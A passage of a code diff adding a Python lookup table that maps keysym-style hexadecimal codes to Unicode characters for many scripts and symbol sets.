+        0x05d9: u'\\u0639', 0x05da: u'\\u063a', 0x05e0: u'\\u0640', 0x05e1: u'\\u0641', 0x05e2: u'\\u0642',
+        0x05e3: u'\\u0643', 0x05e4: u'\\u0644', 0x05e5: u'\\u0645', 0x05e6: u'\\u0646', 0x05e7: u'\\u0647',
+        0x05e8: u'\\u0648', 0x05e9: u'\\u0649', 0x05ea: u'\\u064a', 0x05eb: u'\\u064b', 0x05ec: u'\\u064c',
+        0x05ed: u'\\u064d', 0x05ee: u'\\u064e', 0x05ef: u'\\u064f', 0x05f0: u'\\u0650', 0x05f1: u'\\u0651',
+        0x05f2: u'\\u0652', 0x06a1: u'\\u0452', 0x06a2: u'\\u0453', 0x06a3: u'\\u0451', 0x06a4: u'\\u0454',
+        0x06a5: u'\\u0455', 0x06a6: u'\\u0456', 0x06a7: u'\\u0457', 0x06a8: u'\\u0458', 0x06a9: u'\\u0459',
+        0x06aa: u'\\u045a', 0x06ab: u'\\u045b', 0x06ac: u'\\u045c', 0x06ae: u'\\u045e', 0x06af: u'\\u045f',
+        0x06b0: u'\\u2116', 0x06b1: u'\\u0402', 0x06b2: u'\\u0403', 0x06b3: u'\\u0401', 0x06b4: u'\\u0404',
+        0x06b5: u'\\u0405', 0x06b6: u'\\u0406', 0x06b7: u'\\u0407', 0x06b8: u'\\u0408', 0x06b9: u'\\u0409',
+        0x06ba: u'\\u040a', 0x06bb: u'\\u040b', 0x06bc: u'\\u040c', 0x06be: u'\\u040e', 0x06bf: u'\\u040f',
+        0x06c0: u'\\u044e', 0x06c1: u'\\u0430', 0x06c2: u'\\u0431', 0x06c3: u'\\u0446', 0x06c4: u'\\u0434',
+        0x06c5: u'\\u0435', 0x06c6: u'\\u0444', 0x06c7: u'\\u0433', 0x06c8: u'\\u0445', 0x06c9: u'\\u0438',
+        0x06ca: u'\\u0439', 0x06cb: u'\\u043a', 0x06cc: u'\\u043b', 0x06cd: u'\\u043c', 0x06ce: u'\\u043d',
+        0x06cf: u'\\u043e', 0x06d0: u'\\u043f', 0x06d1: u'\\u044f', 0x06d2: u'\\u0440', 0x06d3: u'\\u0441',
+        0x06d4: u'\\u0442', 0x06d5: u'\\u0443', 0x06d6: u'\\u0436', 0x06d7: u'\\u0432', 0x06d8: u'\\u044c',
+        0x06d9: u'\\u044b', 0x06da: u'\\u0437', 0x06db: u'\\u0448', 0x06dc: u'\\u044d', 0x06dd: u'\\u0449',
+        0x06de: u'\\u0447', 0x06df: u'\\u044a', 0x06e0: u'\\u042e', 0x06e1: u'\\u0410', 0x06e2: u'\\u0411',
+        0x06e3: u'\\u0426', 0x06e4: u'\\u0414', 0x06e5: u'\\u0415', 0x06e6: u'\\u0424', 0x06e7: u'\\u0413',
+        0x06e8: u'\\u0425', 0x06e9: u'\\u0418', 0x06ea: u'\\u0419', 0x06eb: u'\\u041a', 0x06ec: u'\\u041b',
+        0x06ed: u'\\u041c', 0x06ee: u'\\u041d', 0x06ef: u'\\u041e', 0x06f0: u'\\u041f', 0x06f1: u'\\u042f',
+        0x06f2: u'\\u0420', 0x06f3: u'\\u0421', 0x06f4: u'\\u0422', 0x06f5: u'\\u0423', 0x06f6: u'\\u0416',
+        0x06f7: u'\\u0412', 0x06f8: u'\\u042c', 0x06f9: u'\\u042b', 0x06fa: u'\\u0417', 0x06fb: u'\\u0428',
+        0x06fc: u'\\u042d', 0x06fd: u'\\u0429', 0x06fe: u'\\u0427', 0x06ff: u'\\u042a', 0x07a1: u'\\u0386',
+        0x07a2: u'\\u0388', 0x07a3: u'\\u0389', 0x07a4: u'\\u038a', 0x07a5: u'\\u03aa', 0x07a7: u'\\u038c',
+        0x07a8: u'\\u038e', 0x07a9: u'\\u03ab', 0x07ab: u'\\u038f', 0x07ae: u'\\u0385', 0x07af: u'\\u2015',
+        0x07b1: u'\\u03ac', 0x07b2: u'\\u03ad', 0x07b3: u'\\u03ae', 0x07b4: u'\\u03af', 0x07b5: u'\\u03ca',
+        0x07b6: u'\\u0390', 0x07b7: u'\\u03cc', 0x07b8: u'\\u03cd', 0x07b9: u'\\u03cb', 0x07ba: u'\\u03b0',
+        0x07bb: u'\\u03ce', 0x07c1: u'\\u0391', 0x07c2: u'\\u0392', 0x07c3: u'\\u0393', 0x07c4: u'\\u0394',
+        0x07c5: u'\\u0395', 0x07c6: u'\\u0396', 0x07c7: u'\\u0397', 0x07c8: u'\\u0398', 0x07c9: u'\\u0399',
+        0x07ca: u'\\u039a', 0x07cb: u'\\u039b', 0x07cb: u'\\u039b', 0x07cc: u'\\u039c', 0x07cd: u'\\u039d',
+        0x07ce: u'\\u039e', 0x07cf: u'\\u039f', 0x07d0: u'\\u03a0', 0x07d1: u'\\u03a1', 0x07d2: u'\\u03a3',
+        0x07d4: u'\\u03a4', 0x07d5: u'\\u03a5', 0x07d6: u'\\u03a6', 0x07d7: u'\\u03a7', 0x07d8: u'\\u03a8',
+        0x07d9: u'\\u03a9', 0x07e1: u'\\u03b1', 0x07e2: u'\\u03b2', 0x07e3: u'\\u03b3', 0x07e4: u'\\u03b4',
+        0x07e5: u'\\u03b5', 0x07e6: u'\\u03b6', 0x07e7: u'\\u03b7', 0x07e8: u'\\u03b8', 0x07e9: u'\\u03b9',
+        0x07ea: u'\\u03ba', 0x07eb: u'\\u03bb', 0x07ec: u'\\u03bc', 0x07ed: u'\\u03bd', 0x07ee: u'\\u03be',
+        0x07ef: u'\\u03bf', 0x07f0: u'\\u03c0', 0x07f1: u'\\u03c1', 0x07f2: u'\\u03c3', 0x07f3: u'\\u03c2',
+        0x07f4: u'\\u03c4', 0x07f5: u'\\u03c5', 0x07f6: u'\\u03c6', 0x07f7: u'\\u03c7', 0x07f8: u'\\u03c8',
+        0x07f9: u'\\u03c9', 0x08a1: u'\\u23b7', 0x08a2: u'\\u250c', 0x08a3: u'\\u2500', 0x08a4: u'\\u2320',
+        0x08a5: u'\\u2321', 0x08a6: u'\\u2502', 0x08a7: u'\\u23a1', 0x08a8: u'\\u23a3', 0x08a9: u'\\u23a4',
+        0x08aa: u'\\u23a6', 0x08ab: u'\\u239b', 0x08ac: u'\\u239d', 0x08ad: u'\\u239e', 0x08ae: u'\\u23a0',
+        0x08af: u'\\u23a8', 0x08b0: u'\\u23ac', 0x08bc: u'\\u2264', 0x08bd: u'\\u2260', 0x08be: u'\\u2265',
+        0x08bf: u'\\u222b', 0x08c0: u'\\u2234', 0x08c1: u'\\u221d', 0x08c2: u'\\u221e', 0x08c5: u'\\u2207',
+        0x08c8: u'\\u223c', 0x08c9: u'\\u2243', 0x08cd: u'\\u21d4', 0x08ce: u'\\u21d2', 0x08cf: u'\\u2261',
+        0x08d6: u'\\u221a', 0x08da: u'\\u2282', 0x08db: u'\\u2283', 0x08dc: u'\\u2229', 0x08dd: u'\\u222a',
+        0x08de: u'\\u2227', 0x08df: u'\\u2228', 0x08ef: u'\\u2202', 0x08f6: u'\\u0192', 0x08fb: u'\\u2190',
+        0x08fc: u'\\u2191', 0x08fd: u'\\u2192', 0x08fe: u'\\u2193', 0x09e0: u'\\u25c6', 0x09e1: u'\\u2592',
+        0x09e2: u'\\u2409', 0x09e3: u'\\u240c', 0x09e4: u'\\u240d', 0x09e5: u'\\u240a', 0x09e8: u'\\u2424',
+        0x09e9: u'\\u240b', 0x09ea: u'\\u2518', 0x09eb: u'\\u2510', 0x09ec: u'\\u250c', 0x09ed: u'\\u2514',
+        0x09ee: u'\\u253c', 0x09ef: u'\\u23ba', 0x09f0: u'\\u23bb', 0x09f1: u'\\u2500', 0x09f2: u'\\u23bc',
+        0x09f3: u'\\u23bd', 0x09f4: u'\\u251c', 0x09f5: u'\\u2524', 0x09f6: u'\\u2534', 0x09f7: u'\\u252c',
+        0x09f8: u'\\u2502', 0x0aa1: u'\\u2003', 0x0aa2: u'\\u2002', 0x0aa3: u'\\u2004', 0x0aa4: u'\\u2005',
+        0x0aa5: u'\\u2007', 0x0aa6: u'\\u2008', 0x0aa7: u'\\u2009', 0x0aa8: u'\\u200a', 0x0aa9: u'\\u2014',
+        0x0aaa: u'\\u2013', 0x0aac: u'\\u2423', 0x0aae: u'\\u2026', 0x0aaf: u'\\u2025', 0x0ab0: u'\\u2153',
+        0x0ab1: u'\\u2154', 0x0ab2: u'\\u2155', 0x0ab3: u'\\u2156', 0x0ab4: u'\\u2157', 0x0ab5: u'\\u2158',
+        0x0ab6: u'\\u2159', 0x0ab7: u'\\u215a', 0x0ab8: u'\\u2105', 0x0abb: u'\\u2012', 0x0abc: u'\\u27e8',
+        0x0abd: u'\\u002e', 0x0abe: u'\\u27e9', 0x0ac3: u'\\u215b', 0x0ac4: u'\\u215c', 0x0ac5: u'\\u215d',
+        0x0ac6: u'\\u215e', 0x0ac9: u'\\u2122', 0x0aca: u'\\u2613', 0x0acc: u'\\u25c1', 0x0acd: u'\\u25b7',
+        0x0ace: u'\\u25cb', 0x0acf: u'\\u25af', 0x0ad0: u'\\u2018', 0x0ad1: u'\\u2019', 0x0ad2: u'\\u201c',
+        0x0ad3: u'\\u201d', 0x0ad4: u'\\u211e', 0x0ad6: u'\\u2032', 0x0ad7: u'\\u2033', 0x0ad9: u'\\u271d',
+        0x0adb: u'\\u25ac', 0x0adc: u'\\u25c0', 0x0add: u'\\u25b6', 0x0ade: u'\\u25cf', 0x0adf: u'\\u25ae',
+        0x0ae0: u'\\u25e6', 0x0ae1: u'\\u25ab', 0x0ae2: u'\\u25ad', 0x0ae3: u'\\u25b3', 0x0ae4: u'\\u25bd',
+        0x0ae5: u'\\u2606', 0x0ae6: u'\\u2022', 0x0ae7: u'\\u25aa', 0x0ae8: u'\\u25b2', 0x0ae9: u'\\u25bc',
+        0x0aea: u'\\u261c', 0x0aeb: u'\\u261e', 0x0aec: u'\\u2663', 0x0aed: u'\\u2666', 0x0aee: u'\\u2665',
+        0x0af0: u'\\u2720', 0x0af1: u'\\u2020', 0x0af2: u'\\u2021', 0x0af3: u'\\u2713', 0x0af4: u'\\u2717',
+        0x0af5: u'\\u266f', 0x0af6: u'\\u266d', 0x0af7: u'\\u2642', 0x0af8: u'\\u2640', 0x0af9: u'\\u260e',
+        0x0afa: u'\\u2315', 0x0afb: u'\\u2117', 0x0afc: u'\\u2038', 0x0afd: u'\\u201a', 0x0afe: u'\\u201e',
+        0x0ba3: u'\\u003c', 0x0ba6: u'\\u003e', 0x0ba8: u'\\u2228', 0x0ba9: u'\\u2227', 0x0bc0: u'\\u00af',
+        0x0bc2: u'\\u22a5', 0x0bc3: u'\\u2229', 0x0bc4: u'\\u230a', 0x0bc6: u'\\u005f', 0x0bca: u'\\u2218',
+        0x0bcc: u'\\u2395', 0x0bce: u'\\u22a4', 0x0bcf: u'\\u25cb', 0x0bd3: u'\\u2308', 0x0bd6: u'\\u222a',
+        0x0bd8: u'\\u2283', 0x0bda: u'\\u2282', 0x0bdc: u'\\u22a2', 0x0bfc: u'\\u22a3', 0x0cdf: u'\\u2017',
+        0x0ce0: u'\\u05d0', 0x0ce1: u'\\u05d1', 0x0ce1: u'\\u05d1', 0x0ce2: u'\\u05d2', 0x0ce2: u'\\u05d2',
+        0x0ce3: u'\\u05d3', 0x0ce3: u'\\u05d3', 0x0ce4: u'\\u05d4', 0x0ce5: u'\\u05d5', 0x0ce6: u'\\u05d6',
+        0x0ce6: u'\\u05d6', 0x0ce7: u'\\u05d7', 0x0ce7: u'\\u05d7', 0x0ce8: u'\\u05d8', 0x0ce8: u'\\u05d8',
+        0x0ce9: u'\\u05d9', 0x0cea: u'\\u05da', 0x0ceb: u'\\u05db', 0x0cec: u'\\u05dc', 0x0ced: u'\\u05dd',
+        0x0cee: u'\\u05de', 0x0cef: u'\\u05df', 0x0cf0: u'\\u05e0', 0x0cf1: u'\\u05e1', 0x0cf1: u'\\u05e1',
+        0x0cf2: u'\\u05e2', 0x0cf3: u'\\u05e3', 0x0cf4: u'\\u05e4', 0x0cf5: u'\\u05e5', 0x0cf5: u'\\u05e5',
+        0x0cf6: u'\\u05e6', 0x0cf6: u'\\u05e6', 0x0cf7: u'\\u05e7', 0x0cf7: u'\\u05e7', 0x0cf8: u'\\u05e8',
+        0x0cf9: u'\\u05e9', 0x0cfa: u'\\u05ea', 0x0cfa: u'\\u05ea', 0x0da1: u'\\u0e01', 0x0da2: u'\\u0e02',
+        0x0da3: u'\\u0e03', 0x0da4: u'\\u0e04', 0x0da5: u'\\u0e05', 0x0da6: u'\\u0e06', 0x0da7: u'\\u0e07',
+        0x0da8: u'\\u0e08', 0x0da9: u'\\u0e09', 0x0daa: u'\\u0e0a', 0x0dab: u'\\u0e0b', 0x0dac: u'\\u0e0c',
+        0x0dad: u'\\u0e0d', 0x0dae: u'\\u0e0e', 0x0daf: u'\\u0e0f', 0x0db0: u'\\u0e10', 0x0db1: u'\\u0e11',
+        0x0db2: u'\\u0e12', 0x0db3: u'\\u0e13', 0x0db4: u'\\u0e14', 0x0db5: u'\\u0e15', 0x0db6: u'\\u0e16',
+        0x0db7: u'\\u0e17', 0x0db8: u'\\u0e18', 0x0db9: u'\\u0e19', 0x0dba: u'\\u0e1a', 0x0dbb: u'\\u0e1b',
+        0x0dbc: u'\\u0e1c', 0x0dbd: u'\\u0e1d', 0x0dbe: u'\\u0e1e', 0x0dbf: u'\\u0e1f', 0x0dc0: u'\\u0e20',
+        0x0dc1: u'\\u0e21', 0x0dc2: u'\\u0e22', 0x0dc3: u'\\u0e23', 0x0dc4: u'\\u0e24', 0x0dc5: u'\\u0e25',
+        0x0dc6: u'\\u0e26', 0x0dc7: u'\\u0e27', 0x0dc8: u'\\u0e28', 0x0dc9: u'\\u0e29', 0x0dca: u'\\u0e2a',
+        0x0dcb: u'\\u0e2b', 0x0dcc: u'\\u0e2c', 0x0dcd: u'\\u0e2d', 0x0dce: u'\\u0e2e', 0x0dcf: u'\\u0e2f',
+        0x0dd0: u'\\u0e30', 0x0dd1: u'\\u0e31', 0x0dd2: u'\\u0e32', 0x0dd3: u'\\u0e33', 0x0dd4: u'\\u0e34',
+        0x0dd5: u'\\u0e35', 0x0dd6: u'\\u0e36', 0x0dd7: u'\\u0e37', 0x0dd8: u'\\u0e38', 0x0dd9: u'\\u0e39',
+        0x0dda: u'\\u0e3a', 0x0ddf: u'\\u0e3f', 0x0de0: u'\\u0e40', 0x0de1: u'\\u0e41', 0x0de2: u'\\u0e42',
+        0x0de3: u'\\u0e43', 0x0de4: u'\\u0e44', 0x0de5: u'\\u0e45', 0x0de6: u'\\u0e46', 0x0de7: u'\\u0e47',
+        0x0de8: u'\\u0e48', 0x0de9: u'\\u0e49', 0x0dea: u'\\u0e4a', 0x0deb: u'\\u0e4b', 0x0dec: u'\\u0e4c',
+        0x0ded: u'\\u0e4d', 0x0df0: u'\\u0e50', 0x0df1: u'\\u0e51', 0x0df2: u'\\u0e52', 0x0df3: u'\\u0e53',
+        0x0df4: u'\\u0e54', 0x0df5: u'\\u0e55', 0x0df6: u'\\u0e56', 0x0df7: u'\\u0e57', 0x0df8: u'\\u0e58',
+        0x0df9: u'\\u0e59', 0x0ea1: u'\\u3131', 0x0ea2: u'\\u3132', 0x0ea3: u'\\u3133', 0x0ea4: u'\\u3134',
+        0x0ea5: u'\\u3135', 0x0ea6: u'\\u3136', 0x0ea7: u'\\u3137', 0x0ea8: u'\\u3138', 0x0ea9: u'\\u3139',
+        0x0eaa: u'\\u313a', 0x0eab: u'\\u313b', 0x0eac: u'\\u313c', 0x0ead: u'\\u313d', 0x0eae: u'\\u313e',
+        0x0eaf: u'\\u313f', 0x0eb0: u'\\u3140', 0x0eb1: u'\\u3141', 0x0eb2: u'\\u3142', 0x0eb3: u'\\u3143',
+        0x0eb4: u'\\u3144', 0x0eb5: u'\\u3145', 0x0eb6: u'\\u3146', 0x0eb7: u'\\u3147', 0x0eb8: u'\\u3148',
+        0x0eb9: u'\\u3149', 0x0eba: u'\\u314a', 0x0ebb: u'\\u314b', 0x0ebc: u'\\u314c', 0x0ebd: u'\\u314d',
+        0x0ebe: u'\\u314e', 0x0ebf: u'\\u314f', 0x0ec0: u'\\u3150', 0x0ec1: u'\\u3151', 0x0ec2: u'\\u3152',
+        0x0ec3: u'\\u3153', 0x0ec4: u'\\u3154', 0x0ec5: u'\\u3155', 0x0ec6: u'\\u3156', 0x0ec7: u'\\u3157',
+        0x0ec8: u'\\u3158', 0x0ec9: u'\\u3159', 0x0eca: u'\\u315a', 0x0ecb: u'\\u315b', 0x0ecc: u'\\u315c',
+        0x0ecd: u'\\u315d', 0x0ece: u'\\u315e', 0x0ecf: u'\\u315f', 0x0ed0: u'\\u3160', 0x0ed1: u'\\u3161',
+        0x0ed2: u'\\u3162', 0x0ed3: u'\\u3163', 0x0ed4: u'\\u11a8', 0x0ed5: u'\\u11a9', 0x0ed6: u'\\u11aa',
+        0x0ed7: u'\\u11ab', 0x0ed8: u'\\u11ac', 0x0ed9: u'\\u11ad', 0x0eda: u'\\u11ae', 0x0edb: u'\\u11af',
+        0x0edc: u'\\u11b0', 0x0edd: u'\\u11b1', 0x0ede: u'\\u11b2', 0x0edf: u'\\u11b3', 0x0ee0: u'\\u11b4',
+        0x0ee1: u'\\u11b5', 0x0ee2: u'\\u11b6', 0x0ee3: u'\\u11b7', 0x0ee4: u'\\u11b8', 0x0ee5: u'\\u11b9',
+        0x0ee6: u'\\u11ba', 0x0ee7: u'\\u11bb', 0x0ee8: u'\\u11bc', 0x0ee9: u'\\u11bd', 0x0eea: u'\\u11be',
+        0x0eeb: u'\\u11bf', 0x0eec: u'\\u11c0', 0x0eed: u'\\u11c1', 0x0eee: u'\\u11c2', 0x0eef: u'\\u316d',
+        0x0ef0: u'\\u3171', 0x0ef1: u'\\u3178', 0x0ef2: u'\\u317f', 0x0ef3: u'\\u3181', 0x0ef4: u'\\u3184',
+        0x0ef5: u'\\u3186', 0x0ef6: u'\\u318d', 0x0ef7: u'\\u318e', 0x0ef8: u'\\u11eb', 0x0ef9: u'\\u11f0',
+        0x0efa: u'\\u11f9', 0x0eff: u'\\u20a9', 0x13bc: u'\\u0152', 0x13bd: u'\\u0153', 0x13be: u'\\u0178',
+        0x20a0: u'\\u20a0', 0x20a1: u'\\u20a1', 0x20a2: u'\\u20a2', 0x20a3: u'\\u20a3', 0x20a4: u'\\u20a4',
+        0x20a5: u'\\u20a5', 0x20a6: u'\\u20a6', 0x20a7: u'\\u20a7', 0x20a8: u'\\u20a8', 0x20a9: u'\\u20a9',
+        0x20aa: u'\\u20aa', 0x20ab: u'\\u20ab', 0x20ac: u'\\u20ac', 0xfe50: u'\\u0300', 0xfe51: u'\\u0301',
+        0xfe52: u'\\u0302', 0xfe53: u'\\u0303', 0xfe54: u'\\u0304', 0xfe55: u'\\u0306', 0xfe56: u'\\u0307',
+        0xfe57: u'\\u0308', 0xfe58: u'\\u030a', 0xfe59: u'\\u030b', 0xfe5a: u'\\u030c', 0xfe5b: u'\\u0327',
+        0xfe5c: u'\\u0328', 0xfe5d: u'\\u0345', 0xfe5e: u'\\u3099', 0xfe5f: u'\\u309a', 0xff08: u'\\u0008',
+        0xff09: u'\\u0009', 0xff0a: u'\\u000a', 0xff0b: u'\\u000b', 0xff0d: u'\\u000d', 0xff13: u'\\u0013',
+        0xff14: u'\\u0014', 0xff15: u'\\u0015', 0xff1b: u'\\u001b', 0xff80: u'\\u0020', 0xff89: u'\\u0009',
+        0xff8d: u'\\u000d', 0xffaa: u'\\u002a', 0xffab: u'\\u002b', 0xffac: u'\\u002c', 0xffad: u'\\u002d',
+        0xffae: u'\\u002e', 0xffaf: u'\\u002f', 0xffb0: u'\\u0030', 0xffb1: u'\\u0031', 0xffb2: u'\\u0032',
+        0xffb3: u'\\u0033', 0xffb4: u'\\u0034', 0xffb5: u'\\u0035', 0xffb6: u'\\u0036', 0xffb7: u'\\u0037',
+        0xffb8: u'\\u0038', 0xffb9: u'\\u0039', 0xffbd: u'\\u003d', 0x06ad: u'\\u0491', 0x06bd: u'\\u0490',
+        0x14a2: u'\\u0587', 0x14a3: u'\\u0589', 0x14a4: u'\\u0029', 0x14a5: u'\\u0028', 0x14a6: u'\\u00bb',
+        0x14a7: u'\\u00ab', 0x14a8: u'\\u2014', 0x14a9: u'\\u002e', 0x14aa: u'\\u055d', 0x14ab: u'\\u002c',
+        0x14ac: u'\\u2013', 0x14ad: u'\\u058a', 0x14ae: u'\\u2026', 0x14af: u'\\u055c', 0x14b0: u'\\u055b',
+        0x14b1: u'\\u055e', 0x14b2: u'\\u0531', 0x14b3: u'\\u0561', 0x14b4: u'\\u0532', 0x14b5: u'\\u0562',
+        0x14b6: u'\\u0533', 0x14b7: u'\\u0563', 0x14b8: u'\\u0534', 0x14b9: u'\\u0564', 0x14ba: u'\\u0535',
+        0x14bb: u'\\u0565', 0x14bc: u'\\u0536', 0x14bd: u'\\u0566', 0x14be: u'\\u0537', 0x14bf: u'\\u0567',
+        0x14c0: u'\\u0538', 0x14c1: u'\\u0568', 0x14c2: u'\\u0539', 0x14c3: u'\\u0569', 0x14c4: u'\\u053a',
+        0x14c5: u'\\u056a', 0x14c6: u'\\u053b', 0x14c7: u'\\u056b', 0x14c8: u'\\u053c', 0x14c9: u'\\u056c',
+        0x14ca: u'\\u053d', 0x14cb: u'\\u056d', 0x14cc: u'\\u053e', 0x14cd: u'\\u056e', 0x14ce: u'\\u053f',
+        0x14cf: u'\\u056f', 0x14d0: u'\\u0540', 0x14d1: u'\\u0570', 0x14d2: u'\\u0541', 0x14d3: u'\\u0571',
+        0x14d4: u'\\u0542', 0x14d5: u'\\u0572', 0x14d6: u'\\u0543', 0x14d7: u'\\u0573', 0x14d8: u'\\u0544',
+        0x14d9: u'\\u0574', 0x14da: u'\\u0545', 0x14db: u'\\u0575', 0x14dc: u'\\u0546', 0x14dd: u'\\u0576',
+        0x14de: u'\\u0547', 0x14df: u'\\u0577', 0x14e0: u'\\u0548', 0x14e1: u'\\u0578', 0x14e2: u'\\u0549',
+        0x14e3: u'\\u0579', 0x14e4: u'\\u054a', 0x14e5: u'\\u057a', 0x14e6: u'\\u054b', 0x14e7: u'\\u057b',
+        0x14e8: u'\\u054c', 0x14e9: u'\\u057c', 0x14ea: u'\\u054d', 0x14eb: u'\\u057d', 0x14ec: u'\\u054e',
+        0x14ed: u'\\u057e', 0x14ee: u'\\u054f', 0x14ef: u'\\u057f', 0x14f0: u'\\u0550', 0x14f1: u'\\u0580',
+        0x14f2: u'\\u0551', 0x14f3: u'\\u0581', 0x14f4: u'\\u0552', 0x14f5: u'\\u0582', 0x14f6: u'\\u0553',
+        0x14f7: u'\\u0583', 0x14f8: u'\\u0554', 0x14f9: u'\\u0584', 0x14fa: u'\\u0555', 0x14fb: u'\\u0585',
+        0x14fc: u'\\u0556', 0x14fd: u'\\u0586', 0x14fe: u'\\u055a', 0x14ff: u'\\u00a7', 0x15d0: u'\\u10d0',
+        0x15d1: u'\\u10d1', 0x15d2: u'\\u10d2', 0x15d3: u'\\u10d3', 0x15d4: u'\\u10d4', 0x15d5: u'\\u10d5',
+        0x15d6: u'\\u10d6', 0x15d7: u'\\u10d7', 0x15d8: u'\\u10d8', 0x15d9: u'\\u10d9', 0x15da: u'\\u10da',
+        0x15db: u'\\u10db', 0x15dc: u'\\u10dc', 0x15dd: u'\\u10dd', 0x15de: u'\\u10de', 0x15df: u'\\u10df',
+        0x15e0: u'\\u10e0', 0x15e1: u'\\u10e1', 0x15e2: u'\\u10e2', 0x15e3: u'\\u10e3', 0x15e4: u'\\u10e4',
+        0x15e5: u'\\u10e5', 0x15e6: u'\\u10e6', 0x15e7: u'\\u10e7', 0x15e8: u'\\u10e8', 0x15e9: u'\\u10e9',
+        0x15ea: u'\\u10ea', 0x15eb: u'\\u10eb', 0x15ec: u'\\u10ec', 0x15ed: u'\\u10ed', 0x15ee: u'\\u10ee',
+        0x15ef: u'\\u10ef', 0x15f0: u'\\u10f0', 0x15f1: u'\\u10f1', 0x15f2: u'\\u10f2', 0x15f3: u'\\u10f3',
+        0x15f4: u'\\u10f4', 0x15f5: u'\\u10f5', 0x15f6: u'\\u10f6', 0x12a1: u'\\u1e02', 0x12a2: u'\\u1e03',
+        0x12a6: u'\\u1e0a', 0x12a8: u'\\u1e80', 0x12aa: u'\\u1e82', 0x12ab: u'\\u1e0b', 0x12ac: u'\\u1ef2',
+        0x12b0: u'\\u1e1e', 0x12b1: u'\\u1e1f', 0x12b4: u'\\u1e40', 0x12b5: u'\\u1e41', 0x12b7: u'\\u1e56',
+        0x12b8: u'\\u1e81', 0x12b9: u'\\u1e57', 0x12ba: u'\\u1e83', 0x12bb: u'\\u1e60', 0x12bc: u'\\u1ef3',
+        0x12bd: u'\\u1e84', 0x12be: u'\\u1e85', 0x12bf: u'\\u1e61', 0x12d0: u'\\u0174', 0x12d7: u'\\u1e6a',
+        0x12de: u'\\u0176', 0x12f0: u'\\u0175', 0x12f7: u'\\u1e6b', 0x12fe: u'\\u0177', 0x0590: u'\\u06f0',
+        0x0591: u'\\u06f1', 0x0592: u'\\u06f2', 0x0593: u'\\u06f3', 0x0594: u'\\u06f4', 0x0595: u'\\u06f5',
+        0x0596: u'\\u06f6', 0x0597: u'\\u06f7', 0x0598: u'\\u06f8', 0x0599: u'\\u06f9', 0x05a5: u'\\u066a',
+        0x05a6: u'\\u0670', 0x05a7: u'\\u0679', 0x05a8: u'\\u067e', 0x05a9: u'\\u0686', 0x05aa: u'\\u0688',
+        0x05ab: u'\\u0691', 0x05ae: u'\\u06d4', 0x05b0: u'\\u0660', 0x05b1: u'\\u0661', 0x05b2: u'\\u0662',
+        0x05b3: u'\\u0663', 0x05b4: u'\\u0664', 0x05b5: u'\\u0665', 0x05b6: u'\\u0666', 0x05b7: u'\\u0667',
+        0x05b8: u'\\u0668', 0x05b9: u'\\u0669', 0x05f3: u'\\u0653', 0x05f4: u'\\u0654', 0x05f5: u'\\u0655',
+        0x05f6: u'\\u0698', 0x05f7: u'\\u06a4', 0x05f8: u'\\u06a9', 0x05f9: u'\\u06af', 0x05fa: u'\\u06ba',
+        0x05fb: u'\\u06be', 0x05fc: u'\\u06cc', 0x05fd: u'\\u06d2', 0x05fe: u'\\u06c1', 0x0680: u'\\u0492',
+        0x0681: u'\\u0496', 0x0682: u'\\u049a', 0x0683: u'\\u049c', 0x0684: u'\\u04a2', 0x0685: u'\\u04ae',
+        0x0686: u'\\u04b0', 0x0687: u'\\u04b2', 0x0688: u'\\u04b6', 0x0689: u'\\u04b8', 0x068a: u'\\u04ba',
+        0x068c: u'\\u04d8', 0x068d: u'\\u04e2', 0x068e: u'\\u04e8', 0x068f: u'\\u04ee', 0x0690: u'\\u0493',
+        0x0691: u'\\u0497', 0x0692: u'\\u049b', 0x0693: u'\\u049d', 0x0694: u'\\u04a3', 0x0695: u'\\u04af',
+        0x0696: u'\\u04b1', 0x0697: u'\\u04b3', 0x0698: u'\\u04b7', 0x0699: u'\\u04b9', 0x069a: u'\\u04bb',
+        0x069c: u'\\u04d9', 0x069d: u'\\u04e3', 0x069e: u'\\u04e9', 0x069f: u'\\u04ef', 0x16a3: u'\\u1e8a',
+        0x16a6: u'\\u012c', 0x16a9: u'\\u01b5', 0x16aa: u'\\u01e6', 0x16af: u'\\u019f', 0x16b3: u'\\u1e8b',
+        0x16b6: u'\\u012d', 0x16b9: u'\\u01b6', 0x16ba: u'\\u01e7', 0x16bd: u'\\u01d2', 0x16bf: u'\\u0275',
+        0x16c6: u'\\u018f', 0x16f6: u'\\u0259', 0x16d1: u'\\u1e36', 0x16e1: u'\\u1e37', 0x1ea0: u'\\u1ea0',
+        0x1ea1: u'\\u1ea1', 0x1ea2: u'\\u1ea2', 0x1ea3: u'\\u1ea3', 0x1ea4: u'\\u1ea4', 0x1ea5: u'\\u1ea5',
+        0x1ea6: u'\\u1ea6', 0x1ea7: u'\\u1ea7', 0x1ea8: u'\\u1ea8', 0x1ea9: u'\\u1ea9', 0x1eaa: u'\\u1eaa',
+        0x1eab: u'\\u1eab', 0x1eac: u'\\u1eac', 0x1ead: u'\\u1ead', 0x1eae: u'\\u1eae', 0x1eaf: u'\\u1eaf',
+        0x1eb0: u'\\u1eb0', 0x1eb1: u'\\u1eb1', 0x1eb2: u'\\u1eb2', 0x1eb3: u'\\u1eb3', 0x1eb4: u'\\u1eb4',
+        0x1eb5: u'\\u1eb5', 0x1eb6: u'\\u1eb6', 0x1eb7: u'\\u1eb7', 0x1eb8: u'\\u1eb8', 0x1eb9: u'\\u1eb9',
+        0x1eba: u'\\u1eba', 0x1ebb: u'\\u1ebb', 0x1ebc: u'\\u1ebc', 0x1ebd: u'\\u1ebd', 0x1ebe: u'\\u1ebe',
+        0x1ebf: u'\\u1ebf', 0x1ec0: u'\\u1ec0', 0x1ec1: u'\\u1ec1', 0x1ec2: u'\\u1ec2', 0x1ec3: u'\\u1ec3',
+        0x1ec4: u'\\u1ec4', 0x1ec5: u'\\u1ec5', 0x1ec6: u'\\u1ec6', 0x1ec7: u'\\u1ec7', 0x1ec8: u'\\u1ec8',
+        0x1ec9: u'\\u1ec9', 0x1eca: u'\\u1eca', 0x1ecb: u'\\u1ecb', 0x1ecc: u'\\u1ecc', 0x1ecd: u'\\u1ecd',
+        0x1ece: u'\\u1ece', 0x1ecf: u'\\u1ecf', 0x1ed0: u'\\u1ed0', 0x1ed1: u'\\u1ed1', 0x1ed2: u'\\u1ed2',
+        0x1ed3: u'\\u1ed3', 0x1ed4: u'\\u1ed4', 0x1ed5: u'\\u1ed5', 0x1ed6: u'\\u1ed6', 0x1ed7: u'\\u1ed7',
+        0x1ed8: u'\\u1ed8', 0x1ed9: u'\\u1ed9', 0x1eda: u'\\u1eda', 0x1edb: u'\\u1edb', 0x1edc: u'\\u1edc',
